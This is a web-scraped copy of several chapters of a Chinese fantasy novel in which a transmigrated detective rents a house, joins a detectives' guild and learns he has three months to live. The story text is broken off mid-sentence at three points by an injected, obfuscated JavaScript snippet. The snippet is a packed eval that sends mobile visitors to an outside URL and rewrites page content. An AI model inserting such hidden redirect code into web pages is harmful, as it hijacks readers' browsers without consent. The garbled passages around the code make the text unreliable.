他屏息凝神望过去,只见壁纸下面的墙壁上满是带血的挠痕和蜡笔涂抹的涂鸦画。 画的是四个人,两大两小,明显是一家四口,他们的手直挺挺举在头顶,像是托着什么,又像是在祈祷。 煤气中毒? 死于一氧化碳的人大多会在昏沉中死亡,怎么能制造出如此可怖的抓痕? “我觉得不吉利,还是算了。”季泠州干脆利索拒绝。 豪斯有些失望,但这也在预料之内。他打开本子,翻了一页:“那明天八点继续,这次去看工匠大道东侧的几套。” 说话间有风吹过,纱帘一阵抖动。 房间瞬间暗了下去,像是提前进入了黄昏,一股寒意自季泠州脊背升起。 “不必了,先离开这里。我已经想好租哪间了。”季泠州大步走出门厅,重新站在街上。 雨落在他的身上,冰冷、潮湿,但没有房间里那种沁入心底的寒意。 豪斯很是兴奋,他迅速锁好大门,期待道:“你选定了哪家呢?” “贝克街221B。”季泠州毫不迟疑开口。 这样的门牌号,即便在异世界,相信也没有哪个穿越者会拒绝选择它。 豪斯满脸雾水:“您确定吗?” 印象里,那是幢石头小屋,除了格外结实外毫无特色,唯一的亮点是带一个花园,还是多年没有打理过,杂草丛生那种。 “我确定。”他催促道,“走吧,去签协议。” 阿兰家宅子给他一种毛骨悚然的感觉,再待下去肯定会发生不好的事情。 “好好好。”豪斯笑出了声,做成了一笔生意让他很是喜悦,走路的步伐都轻快起来。 忽然,一个表情激动的男人冲出来,拉住豪斯的胳膊。 “豪斯先生,能不能再宽限几天?那间房子,我祖父那一辈就在住了。我发誓,这周一定找到活计,把房租补齐。” 男人穿着破旧的牛仔布外套,双目通红,眼睛睁得大大的,仿佛眼前的矮个中年人是唯一的救命稻草。 豪斯不自在地交叉起手指,不敢直视男人的脸,结结巴巴开口:“我很抱歉,克鲁斯。但这都是公司的规定,我也只是个听命行事的可怜虫。” 男人猛地跪下来,抱住豪斯的腿,哀求道:“求求你了,我有两个未成年的女儿。她们要是跟着我住到大街上,就只能去三色堇大街找活了。” 三色堇大街像是某种神秘咒语一样,触动了豪斯。 他咬牙道:“我最多再宽限一周。只有一周,你必须得交上房租。” 男人千恩万谢地点头。 豪斯不好意思地看着季泠州,解释:“按规矩我不该这么做,还请您替我保密。” 季泠州表示自己不介意,看着男人踉跄离开的背影,随口问道:“他的房租是多少呀?” “60生丁。” 季泠州没有再说话,他觉得三色堇大街很是耳熟,似乎在哪听人提过。 二人花了十分钟走回中介公司办公室。 豪斯率先给季泠州泡了杯热茶:“请稍等一会,我去给您准备租赁协议。” 不远处的办公桌后,几个工作人员好奇地打量季泠州。 接着,他们又窃窃私语起来。 “听说了吗?法雷尔大人打算把海文区夷为平地。” “是的,我那在市政厅做事的邻居说,流程已经开始了。拆掉重建后,房价怕是要翻上几倍。” “还真是幸运呀!不知道咱们有没有机会调过去工作。” “噢,别做梦了,伙计。除非太阳从西边出来。” 季泠州若有所思地望着南边。 涅伽拉德被分为十二个区,海文区滨海,环境恶劣,建筑年代久远又被海风侵蚀,破破烂烂的。 居民是建城者后代,他们大多是手工艺者、匠人,没什么话语权,在城市发展中逐渐被排挤到边缘。 如果能拆了重建,未尝不是一件好事。 只是想起这段时间的见闻,他摇了摇头。 豪斯的效率很高,似乎是怕季泠州后悔,他十指如飞地敲好合同,做最后的信息确认。 “季先生,您的职业是侦探,方便提供供职的侦探社吗?” 他想了想,现编出个名字:“季风侦探社。” “好,请支付第一年的房租。” 他掏出一小把硬币,放在桌子上。 “先生,您给了我78佛尔,房租和押金只要75佛尔。”豪斯捧着钱币,喊住季泠州。 季泠州放下手里的手提箱,解释:“多余的钱,记在克鲁斯先生账上吧,不要告诉他。” “您真是心善。”豪斯脱帽致敬。 季泠州终于想起来了。自己刚来涅伽拉德时路过三色堇大道时,租赁马车的车夫介绍说,那是有名的风月街、销金窟。 豪斯抬腕看了下手表:“善良的季先生,现在已经是下午三点了,请问您今天入住吗?” “是的,我已经退了旅馆。” “那我们要抓紧了。再过两个小时天就黑了,您不会想住在没光的地方。”豪斯用力拍了下脑门,招呼几个空闲的同事出来帮忙。 和原来世界房屋中介只负责带看房不同,涅伽拉德的房屋中介更像房东和管家的综合体。 他们会为租客提供餐食、跑腿、清洁、雇佣马车等附加服务,一些规模大的房屋中介,甚至会雇佣护卫,保护自己的房客。 初来乍到,季泠州也乐于将这些琐碎的工作外包出去。 简单和季泠州沟通了几句后,豪斯有条不紊地发出指示: “小莱恩,你去家政行会,雇几个打扫卫生的好手来。” “玛丽夫人,麻烦你联系缝纫匠大道的表哥,托他帮我们的客人买些实惠耐用的二手家具。” “至于恩佐,去请一个油灯师傅。动作快点,像屁股着了火一样跑起来!” 他安排完工作,自己则提起季泠州的手提箱,亲自送他回家。 “油灯师傅?”季泠州疑惑问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182881|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了,我忘了你是外乡人!”豪斯忽然站住。 他放下手里的箱子,严肃道:“季先生,最近涅伽拉德不太平,或是说这几年都不太对劲。” “当然,这完全不影响人们的生活。” “请您切记,夜晚待在有光的地方,不要轻易给陌生人开门。”他从兜里掏出张卡片,塞到季泠州的手里。 这番叮嘱让季泠州心中升起一股不妙的预感。 “豪斯先生,这些措施是为了防范本地的犯罪分子吗?”他追问。 豪斯摇了摇头,提起箱子继续带路:“我也说不清。有些东西,只是提起,便会招来横祸。我也是看您是个善良的好心人,才和您说这么多,请不要再问了。” 季泠州很识趣,决定在调查清楚情况前,严格遵循豪斯的嘱托。 听劝,是穿越者应有的美德。 毕竟,在拥有了一大笔钱后,他的人生目标只剩下一个:好好生活,享受不用工作的人生。 想到这,他迅速转变话题:“豪斯先生,是否可以托人帮我买些食材?” 豪斯点头,掏出记事本写了几句,撕下来递给路边的小孩。 …… 不得不说,当钱到位时,一切都变得顺畅起来。 一队身手敏捷的家务女佣,仅花了一小时就将石头小屋打扫得一尘不染。 然后货运马车拉来家具,大家合力将它们摆设好。 接着又是一轮打扫、布置、收纳。 待到夕阳西垂,季泠州已经换上睡衣,躺在露台的摇椅上了。 为了感谢他们的效率,他额外支付了一佛尔作为小费,交由豪斯先生分配。 站在只剩自己的的新家里,季泠州深深地吸了口气,清洁剂的清香,混合着街角面包店烘焙谷物的味道。深秋的风从窗外吹进来,带着丝丝寒意。 全新的世界在面前打开,他重新打量着周遭。 石头小屋面积不大。 一楼是厨房、会客厅和餐厅,二楼有三间卧室和一个盥洗室,朝南的露台正对银月河。 据说,它曾经的主人是石匠协会的一位核心成员,大抵是出于职务便利,他用石头修成这幢房子,非常结实。 可惜,如今流行的是砖木混合的新式房子,导致这幢石头小屋的租金受到影响。 对于穿越者而言,既然无法选择有水电气、互联网和外卖的混凝土房屋,剩下的都没区别,实惠最重要。 露台景色很好,能俯瞰屋后的银月河。 为了庆祝乔迁新居,季泠州决定吃顿好的犒劳自己。他关上门,哼着小调朝街对面的金罗勒餐馆走去。 街上的雨已经停了,月明星稀,心情也跟着轻松起来。 …… 贝克街另一侧的中介办公室里,欢声笑语传到街上,惹来路人平频频侧目。 主管捧着袋涂了黄油蒜蓉的烤面包,热情地塞进每个人手里。 “太好了,那栋石头房子总算是租出去了。”他咬了一大口面包,含混不清地说。 “接下来就是阿兰家的。这次月中结算,我们贝克街分部总算是能直起腰来了。”眉目柔和的中年女人玛丽接道。 豪斯喜悦的拍了拍胸口:“头儿,这个月的奖金能多发一些吗?” 他有一对读中级学校的儿女,这几日要交下半年学费,手头实在紧张。 秃头红发的主管迟疑片刻,压下嘴里的面包,说:“暂时不行,阿兰家的委托拖了太长时间,我担心上面有意见。” 豪斯叹了口气,距离月底只剩下三天了,得想个办法把房子租出去,他下意识想找自己的笔记本,再核对一遍候选客户名单。 可是,翻遍了大衣,也找不到笔记本。 看来是遗落在哪里呢?他仔细回忆最后一次使用笔记本的地方。 想起来了,应该是落在阿兰家的老宅了。 望着窗外阴沉的夜空,和屋檐下绵密的雨帘,豪斯犹豫了片刻,但想到家里成绩优秀的孩子,还是决定去一趟。 工作多年,“当日事,当日毕”一直是豪斯的信条,也是他凭借微薄收入,养活两个读书孩子的原因。 “头儿,我用一下阿兰家钥匙,东西落在那里了。” “知道了,去吧!路上小心。” “没问题,你放心。”豪斯匆匆走入雨夜。 7. 生命倒计时 涅伽拉德,码头区。 一艘自奥伦特出发,曾在东陆停留补给过淡水的货轮正停在岸边。 蚂蚁一般的搬运工围上去,开始卸货。 没人注意到,一道衣衫褴褛、但身手敏捷的人影从货仓里钻出,扛起个空箱子混在搬运工里。 半小时后,那人已经换了身干净整齐的正装,手上拄着鎏金的手杖。 咸腥的海风卷着异国尘埃的气息扑面而来,他猛地张开双臂,仿佛要拥抱这座庞大、繁荣的城市。 淡金色的短发被风吹得凌乱。 “女士们!先生们!还有那位被命运唾弃的可怜虫,你们的大诗人来了!”他满脸虔诚,对着码头垃圾堆行了个宫廷礼。 路人自觉地绕开他。 他吹着走调却欢快无比的哨子,迈着轻盈的脚步钻进人群里。 …… “铃铃铃!” 闹钟响亮的报时声划破清晨的安静。 一只骨节分明、皮肤苍白到有些透明的手探出来,按掉闹钟。衣袖不慎挂到了床头柜上的藤筐,纸牌、骰子、抽奖券洒落一地。 尽管季泠州很努力为这具身体补充营养,但前身造成的亏损,一时半会还无法消弭。 又躺了一会,他才爬起来坐上一辆昨天就预约好,等在家门口的租赁马车。 今天有件重要的事情,必须得“落实”在租房中介公司登记的职业。 一个出手阔绰且无业的外乡人,很容易引来不友好的注意。为了更好的地融入人群,开启新生活,季泠州必须给自己找份工作。 认真调查过涅伽拉德的就业市场后,他决定成为一名“灵活就业”的侦探。 一方面,这个职业的上限和下限都很高。 洛萨兰是有法律的文明国度,但很遗憾。受时代原因和经费限制,市政厅并没有足够的预算投到维护治安上。 据非官方消息,治安署的先生们,每年的破案率不足百分之五,相比于打击犯罪,他们更喜欢勒索商户。 因此,民间繁荣的侦探社如雨后春笋,应运而生。 人们委托侦探,抓捕窃贼、调查杀人案、救回被绑走的家人,甚至是调查超自然事件。 另一方面,可供选择的就业方向不多。 在涅伽拉德,即便是码头搬运工和女佣也得拥有初级学校的文凭。 季泠州很难拿自己在地球的图书馆学的学位证书,来这个世界找工作。他甚至不确定在这个时代,是否有对公众开放的图书馆。 要知道,知识最容易被垄断。 马车摇摇晃晃,走了一个多小时,终于到了目的地——涅伽拉德侦探协会。 所有合法侦探,都要在这里领取执照。 季泠州站在街边,眯起眼打量这栋富丽堂皇的建筑。 二十四根雪白的大理石廊柱下,是两排真人大小的雕塑,线条优美,一看就出自名家之手。 穿过鎏金大门,进入大厅。注册窗口在右侧,共有七个,此刻都排了不少人。 季泠州的运气一向很差,每次排队挑选的队伍都是最慢的。 他照例认真挑了一列看起来最短的,然后小心翼翼避开,排在了隔壁。 果不出其然。 没过一分钟,隔壁那队最前方,一位褐发中年人和窗口的工作人员吵了起来。 季泠州津津有味地看了一会,直到保卫人员上来将二人分开。 忽然,他目光扫过窗口上方的装饰帷幔,上面写着几行金色小字: “新会员注册送好礼,十选一。三色堇大剧院年票一张、精品橡木苹果酒五瓶、……、月光药剂一份、塔坎瑟斯马一匹。” 这个他熟呀! 以前每次下班坐地铁,都能遇到办理信用卡送礼物的营销人员。 没想到,这个世界也流行这一套。 等排到季泠州时,他第一时间提问:“请问,登记成为会员后,所赠予的塔坎瑟斯马……是否允许选择毛色?” 作为城市里长大的普通人,他只在两种地方见过马,不是动物园,就是景区。 如今有机会获得一匹免费的马,哪怕是塞尔达里面那种浑身黑白斑点,和奶牛差不多的马,他也不介意。 窗口里坐着的是个毛手毛脚的年轻人,听了季泠州的话,一下子打翻了桌子上的咖啡。 棕褐色的液体流得到处都是。 他慌张擦拭着被打湿的文件,季泠州身后排队的人见状,长长地“嘘”了一声,不满地催促他。 年轻人听了,更加手忙脚乱了。 “不必慌张。”他语气温和,刻意放慢了语速,“我们有的是时间。” 年轻人感激地抬头一笑。 他抽出张登记表递给季泠州:“请您先填写这份登记表” 季泠州拿起拴着银链的钢笔,“唰唰唰”写下早就编好的假信息。 为了以防万一,他甚至虚构了一整套人生经历,细节详实。 为了契合“美强惨”称号,方便日后在同行和客户那里塑造人设,那经历堪称异世界版《悲惨世界》,见者落泪,闻者悲伤。 “年费十个生丁,您是现在付清,还是完成第一次委托时从管理费里扣取?”年轻人说完,递给季泠州一枚徽章,上面有属于他的编号21750。 他想了想,一次付清岂不是会显得自己太过大方,于是果断说: “在委托费里扣除吧。” 年轻人点点头,递给他一本手册:“这是协会编撰的委托指导收费标准,和一些常见的问题解答。” 他朝季泠州眨眨眼,压低声音:“上二楼,左手第一间办公室。提我的名字,梅特伦,他们会明白的。” 果然,与人为善是对的。 季泠州感激点头,下定决心有机会再见到他,定要请他喝一杯果酒。 楼梯口,一个长着两条腿的鲜艳大球朝季泠州扑了过来,张开双臂热情地搂住他,说: “让我猜猜——是梅特伦把你送来的,对吗?” 他大笑着拍了拍自己的肚子,“塔洛恩·加兹鲁维,涅伽拉德分会的经理。欢迎,欢迎!” 他只觉自己几乎要被按进那人的大肚子里。 “喔!是的。”季泠州拼尽全力,从那过分热情的怀抱里挣脱出来。 “协会已经太久没有注入新鲜的超凡血液了。”塔洛恩·加兹鲁维长叹一声,双目炯炯地望着他。 “年轻人,我敢打赌,你一定会给我们带来意想不到的惊喜!” 他是怎么知道的?季泠州略一思索,恍然大悟:“是窗口上面的提示语。” “是的,涅伽拉德分部没有能监控灵性的异常物,所以大家只好想出这个办法。” 塔洛恩认可地点点头,他机敏地张望一下,说:“咱们别站在这里了,到我的办公室里聊吧。” 说着,他一把拉开身后的门。 门里的空间狭小拥挤,堆满了各式各样的清洁用具,拖布、扫帚和成沓的抹布。 这就是经理办公室? 季泠州一脸疑惑,没等提问。塔洛恩的大肚子撞了他一下,他顿时失去平衡,朝着一个脏水桶跌去。 下一秒,季泠州在一片洒满阳光的沙滩上站稳了身形。 身后,椰子树在海风下摇曳。 他满脸愕然地望着塔洛恩。 塔洛恩则哈哈大笑:“太有意思了,你们惊讶的表情。这么多次,从来没有人例外。” “容我正式介绍一下。”塔洛恩摊开手,笑得意味深长,“四阶超凡者,超凡职业是‘休息室管理员’。这里,是我的领域。” “在这里,你可以尽情沉溺于美酒、珍馐,以及那些能抚慰灵魂的伴侣。” 季泠州可笑不出来。 就在进入休息室的那一刹,“鉴定”莫名其妙的自行运转起来。 此刻在他眼中,塔洛恩被密密麻麻的弹幕包围。 【侦探协会头号混子】、【爱吃草莓蛋糕】、【五阶超凡者】、【截胡专业户】、【花言巧语】、【俊美无俦】…… 【曾屠戮过一个小镇】、【一口气能吃下一头烤乳猪】、【被七个国家通缉】、【当前负债10金帆18佛尔44生丁】…… 纷繁复杂的信息看得季泠州眼花缭乱。 显而易见的是,眼前的男人不好对付。而且,季泠州很怀疑他并不是梅特伦介绍的人。 “好了,放轻松些。让我们边吃边聊。” 塔洛恩坐在一个特大号沙滩椅上,挥手一招,一个衣着清凉的侍者凭空出现。 “烤肉、杂碎馅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182882|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼、一整盘蝴蝶酥、海鲜烩饭、酥皮蘑菇汤,对了再来一桶麦酒,要冰镇过的那种。年轻人,你吃什么?” 季泠州微微一笑,选了个稳妥的:“给我来一份草莓蛋糕就好。” 塔洛恩认可地点点头,他现在看眼前的年轻人越发顺眼了。 说实在,爱吃草莓蛋糕的,能是什么坏人? 几乎在侍者刚离开的刹那,四个魁梧的男侍者就抬着一个大托盘上来了,他们费力地将肩上扛的食物放在桌子上。 在食物的重力下,四条桌腿深深没入沙滩。 塔洛恩大口吃起来。 “那么,加入协会后,超凡者需要承担哪些义务?”季泠州决定主动开口。 刚才,他在侍者身上读到一条信息: 【人肉傀儡:休息室是所有厌倦工作之人的梦幻之地。当你沉迷于这里时,就会永远成为它的一部分。】 俩人进来的门已经消失了。 他不禁沉思——是否逗留时间过长,也属于“沉迷”的一种情况? 这就很耐人寻味了。 塔洛恩:“平时没什么,协会不会派发强制执行的任务。你是超凡者,连会费也不用交。” “唯有一点,涅伽拉德分会封印着一件强大的异常物,需要定期吞噬灵性维持封印,每个会员都有义务做出贡献。” “灵性?” “是的,超凡者的血肉骨骼都蕴含着灵性,异常物也是灵性构成的。” “如何贡献?有补贴吗?” “若是没有异常物,每年得提供五升的血液。若是寻到了异常物,经过协会评估灵性总数后抵扣。”他叹了口气,愁眉苦脸解释了一句, “协会提供足够的补血剂和等价的金帆作为补偿。” 季泠州有很多话想说,异世界也需要卖血吗? 啊这! 他眉毛微蹙,这所谓“义务”,未免过于苛刻了。 人全身的血加起来也不过是这么多。 在前世,全血献血的国家标准上限是每年0.8升,这里足足翻了六倍,超凡者的命不是命吗? 照理说,协会的超凡者早该跑光了。 似是察觉到季泠州的想法,塔洛恩解释: “原本是异对司和协会共同承担灵性支出。前段时间,他们失踪了两个战斗小队。没办法,协会只好先把任务担起来。 “你放心,协会的补血剂和抽血技术都是一流的,绝不会对身体造成任何负担,你还可以分五十次完成。” 季泠州心想:那岂不是在未来的一整年里,每周都要抽一次血? 塔洛斯是从地狱里爬上来的魔鬼吗?他很想问一句。 “异常物有多少灵性?”他脑海中浮现出家里那堆“篡命”系列异常物,整理了一下措辞,“功能比较单一。” “修改器”每天有两次使用机会,他通常会在次数重置前用掉,所以家里的无用废物极多,就比如“篡命系列”。 【篡命骰子(使用次数3):指定对象投掷,重置对方当日运气。——喜报,我学会算命了!】 【篡命抽奖盘……】 他曾试过一次,不幸掷出了二点。 之后发生的倒霉事过于痛苦,他实在不愿回忆。 “即便是最无用的异常物,蕴含的灵性等同于超凡者一半的血。” “加兹鲁维先生。既然付出了代价,我又将获得怎样的回报呢?”他干脆利落地说。 塔洛恩微微一笑,当人们开始关注条件时,就说明他们心里已经认可了自己的提议。 “一、协会给你推荐优质委托,确保你的年收入超过五百金帆。。” “二、你肯定发现了,市面上几乎找不到超凡知识。只要完成第一年的贡献,就能进入协会的内部图书馆。” 塔洛恩瞥了季泠州一眼。 只见在自己抛出的饵前,这个年轻人面色淡然,甚至还打了个哈欠,完全不为所动。 看来得用杀手锏了,塔洛恩只觉得遗憾。 他看了季泠州一眼,眼中满是同情。 “你还没意识到吗?” 他语气随意,像是在提醒天气。 “你就要死了。” 塔洛恩没有解释原因:“按照你现在的状态,最多半年。” 8. 他乡遇故知 空气安静了一瞬。 季泠州垂下眼睫,像是在消化这句话。 片刻后,他笑了。 “听起来,协会是我唯一的选择?” “不是。” 塔洛恩纠正道:“是你唯一还能谈条件的选择。” “空口无凭。”他抬眼看向塔洛恩,“我需要确认。” 塔洛恩·加兹鲁维在这件休息室里,利用丰富的经验和谈判技巧拿下了不少超凡者。 他从未见过季泠州这样的人。 大部分人,被他察觉到缺点和欲望后,就像敲破的白煮蛋,任他予取予求。 他舔了下唇,心中跃跃欲试,掏出个破旧的、用线装订的笔记本。 “这是协会登记在册的一件异常物,目前由我代为保管。” “它的能力只有一个。”塔洛恩笑了笑,“预告死亡。” 季泠州拿起笔记,凝神细看。 【真正的死亡笔记:和某些能杀人的笔记不一样,它唯一的能力就是精确预告死期。只要愿意献祭一半余生的光阴,它就会慷慨地向你揭示——你将以何种方式拥抱死亡。】 和构筑物不同,【真正的死亡笔记】没有剩余使用时间或次数。 或许,这就是二者真正的区别。 塔洛恩·加兹鲁维递上一只窗口同款、有侦探协会徽记的钢笔,叮嘱说:“尽量把名字写小些,笔记的内页不可再生,写满就无法使用了。” 季泠州点点头,翻开笔记,大半本笔记都写满了。 由于显示的是死亡日期,所以看不出来那些人的寿命。 除一个人以外。 笔记第一页上龙飞凤舞写着一串潦草的字符,后面跟着一个血色的“∞”。 他眨了眨眼,确定自己没看错,这的确是个正无穷符号。 “天命皇帝的签名。”塔洛恩语气带着显而易见的得意,“这才是我留着它的理由。” “笔记本身价值不大,但加上这个签名就不一般了。”塔洛恩用香肠一般的指头温柔地抚摸着封面, “要是拿给那些信奉天命皇帝的疯子,换一件神物也不是不可能。。” “要知道,唯有神祇主动分割自己的力量,才能制造神物。每一件都独一无二,力量强大。” 季泠州并不关心什么神物,他只想了解天命皇帝。 因为纸上的签名实在太抓眼球了——“不幸穿到这倒霉地方的苦命momo”。 有汉字有字母。 拜托,穿越了也要用匿名吗?他一时间很想吐槽,却说不出话来。 心情很复杂,激动、欣喜和不敢置信。 季泠州毫不怀疑,这位“天命皇帝”是自己的老乡,看样子还是个相当幽默的家伙。 “既然如此了不起。”他语气平淡,“为何世人从未传颂过祂的事迹?” 塔洛恩不屑地撇撇嘴:“那位冕下可是撼动世界的存在,祂的事迹,又岂是凡夫俗子有资格谈论的?” “对了,你小子保密,不要让人知道这笔记在我手里。否则,碰上不讲理的,你我都要……”他的手在脖子上比了个“杀掉”的动作。 “这个名字,是禁忌吗?” “也谈不上,就是天命皇帝做事激进,仇敌遍地。一朝消失,往日里恨祂的人就纷纷冒出来了。” 季泠州对塔洛恩的身份地位有所了解,能让他讳莫如深。想必自己的“老乡”八成是过街老鼠、人人喊打那种。 “那么,天命皇帝究竟是如何消失的?”他停顿了一瞬,“你知道吗?” 一个疯狂的念头出现在季泠州脑海里,也许那位老乡不是失踪了,只是回家了。 或许,自己也有机会。 “不知道。” 季泠州叹了口气。 大概是脸上的表情泄露了他的想法,被塔洛恩·加兹鲁维察觉到了。 他没好气地催促:“好了,你快写下你的名字吧。证明我说的没错,咱们还有正事要做。” “你知道天命皇帝的名字吗?”季泠州忽然问,“或者说,你能看懂这个签名吗?” 他指了指“不幸穿到这倒霉地方的苦命momo”。 “能认出一部分。”塔洛恩语气笃定,“这个圆圈符号,象征时空;这个弯折的纹路,是命运长河的浪花。” “至于剩下的,据说是东陆皇室内部流传的古文字,我自然无缘得见。” “但我猜,应该是伟大、天选者、命运主人之类的词,别的普通的也配不上祂老人家的身份呀!” 季泠州扶额不语。 看不懂就直接承认吧,编起来就像老母猪戴胸罩,一套是一套。 他忽然抓住了关键字,连忙抬头,问:“天命皇帝……来自东陆?” 塔洛恩满脸严肃:“你说错了。应该是东陆是天命皇帝建立的。” “看你的长相,肯定东陆人,难道不知道吗?” “我自小在奥伦特帝国长大的。”季泠州流畅地把自己那套悲惨经历复述了一遍。 说完,体内出现一股新的力量,来自塔洛恩的同情。有,但不多,聊胜于无。果然是个冷血的家伙。 不能再拖了,季泠州握着钢笔,在天命皇帝那页背面挑了个空隙,写下黄豆大小的名字。 他很想像天命皇帝一样,写个“穿越就濒临死亡的可怜momo”,奈何塔洛恩·加兹鲁维在一旁看着,没有条件呀! 名字写下的一瞬间,浮出黄豆大小的一个日期。 塔洛恩·加兹鲁维掰着指头算了一会,神色严肃:“比我预期的更糟糕。” “你到底做了什么,透支灵性换取禁忌力量,还是直面神灵?” “我不知道。”季泠州摇摇头。心想自己拆掉黑暗丰穰的事决不能说出来,否则一波接一波的黑暗丰穰教徒会淹没自己。 塔洛恩·加兹鲁维没心情吃东西了,他站起身,焦虑地用力跺脚。 “你还有三个月,这都活不到新年了。” “不行。”他果断道,“必须立刻开始抽血。” 季泠州耸耸肩,毫不在意。 “那么现在。”他抬眼直视塔洛恩,“该告诉我活下去的办法了。” 塔洛恩·加兹鲁维掏出张报纸,塞到他手里。 【侦探日报第9059份:它是侦探日报分离出的一份子体,你可以用它查阅信息、选购商品……】 “暂时把我的权限借给你,想知道什么自己看。我再去帮你想想办法。” 话音未落,他匆匆忙忙打开一扇门,拉着季泠州钻出来。 走廊里,静静伫立着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182883|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身材高挑的女人。梅特伦站在她身后,正朝着季泠州使眼色。 看起来像眼睛抽筋,很是滑稽。 “无耻之徒。” 她声音冰冷,“你截走了我的人。” “今天,我要把你的肥脸,揍得连你亲生母亲都认不出来!” 脚下的地毯瞬间化作泥潭,无数双干枯的腐烂手掌伸出来,绕开季泠州朝塔洛恩·加兹鲁维抓去。 塔洛恩虽然胖成了个球,但动作很是灵活。 他灵巧跃起,以惊掉人下巴的敏捷,闲庭信步般踏着墙壁踱了几步,避开枯手。 同时嘴里也不肯吃亏:“夜莺大人,从我吃胖那一天起,我母亲就认不出我了。” “卑鄙!”夜莺将一顶水晶雕刻的橄榄叶造型冠冕戴在头上。 他嬉笑的脸瞬间垮了下来。 “等等!” 塔洛恩声音一急,“再怎么说也是同僚,你不至于真下死手吧?” “哼!”夜莺没搭理他。 她动作优雅,伸出只指节分明、纤长有力的手。 塔洛恩的动作瞬间僵硬,像是被困在琥珀里的小虫。 挣扎了几下后,他猛然掉头,继续踏着灵活的步伐,像提线木偶一样返回夜莺面前,缓缓单膝跪下,亲吻她手上的戒指。 “鉴定”看不出那顶冠冕的信息,但是能操控一个五阶超凡者的,无疑是一件威力巨大的异常物。 塔洛恩·加兹鲁维的圆脸扭成一团,似是在和控制自己的力量对抗。 季泠州十分理解他的做法,换做自己,也是一样。 因为他能看到夜莺手上戒指的信息。 【来自黄刺蛾幼虫的贴贴:除佩戴者外,任何接触它的人或存在,会持续一周,感受接触黄刺蛾幼虫的痛苦。——来自“贴贴”系列的又一件珍品。】 黄刺蛾幼虫,不就是常说的洋辣子、毒毛虫吗? 没想到这个世界也有这种可怕的生物,季泠州记得自己小时候无意间胳膊碰到,整整疼了三天。 触碰戒指的一瞬间,塔洛恩·加兹鲁维跳了起来。 “夜莺,你太过分了!”他一只手按在嘴上,含糊地说。 另一只手则按在天花板上,一道门瞬间打开,他如游鱼般钻了进去,消失不见。 走廊里恢复寂静。 夜莺转头望向季泠州,和煦一笑:“既然你已经做出了抉择,我代表侦探协会欢迎你的加入。” 季泠州微笑颔首:“荣幸之至。” 夜莺转身离开。 梅特伦犹豫片刻,走到季泠州面前,压低声音:“唉,我和你说是第一间,你肯定跟着加兹鲁维大人进了工具间的门,那门直通他的休息室。” ““我是二阶超凡者。你能看到塔坎瑟斯马,肯定比我厉害,有机会一起合作。” “祝你好运,撑过一年。明年我帮你转到怀恩先生那,他和气极了,你一定会喜欢,可惜……。” 周围忽然响起夜莺的声音,打断了他:“梅特伦,快来。” “好的,夜莺大人,马上就来。”梅特伦应了一声,然后快速叮嘱。 “涅伽拉德最近不太平,异对司特地派夜莺大人来支援。时间不早了,快回家吧。” 季泠州望向窗外,厚实的乌云压在头顶。 9. 蠕行者 露台上。 琥珀色的苹果酒里,冰块浮浮沉沉。水珠顺着杯壁滑落,滴在季泠州的手上。 他瞬间打了个激灵,回过神来,揭下盖着脸的报纸。 离开祭坛后,他心中隐约有所预感,凡人直面神祇,如何能不付出代价? 如今不过是证实了自己的猜想。 这种感觉很微妙,就像一个死刑犯,行刑到一半突然跑了。逃到无人之处欣喜欲狂之际,却赫然发现手臂上插着针头,原来药物早已经注入血管。 他叹了口气,一口将微甘的酒液灌进嘴里。 既然还有不少时间,总得活得像样一点。季泠州站起身,朝街对面的金罗勒餐馆走去。 忽然,眼角的余光瞥见不远处的银月河畔,有一个人从河里爬了上来。那人穿着灰色外套,浑身上下湿漉漉地滴着水。 涅伽拉德航运繁盛,大概是个粗心大意的船工,失足掉到了河里。 深秋的气温已经很低了,希望他不要感冒。 季泠州兴致寥寥地收回视线,朝街上走去。 目标!金罗勒餐馆。 这是他新发现的一家味道不错的餐馆,离家近味道好,尤其是店里的开心果蛋糕,简直是吃过一次就忘不掉。 还不到吃晚餐的正点,店里空荡荡的,几个服务生凑在一起聊天。 看到季泠州进来,他们连忙分出一个人。 “晚上好,先生。您是要用餐,还是喝点什么?”服务生递上菜单。 在涅伽拉德,餐馆喜欢将菜品搭配成套餐售卖,简直是选择困难症的福音。 “这个。”他敲了敲菜单,“阿尔兰风味套餐。” 片刻后,另一个服务生将菜端了上来。 主菜是杏脯炖羊肉,搭配肉馅茄子、龙虾汤和一份由酥皮点心和冰激凌组成的甜点,饮料则是加冰的麦酒。 另外,餐馆还额外赠送了一道小吃,炸空心豆球搭配绿色糊糊,据说是新来的天竺厨师的拿手菜。 嗯,香料的味道过于浓郁了。 不得不说,洛萨兰的食物比奥伦特好太多了,无论是调味还是口感。 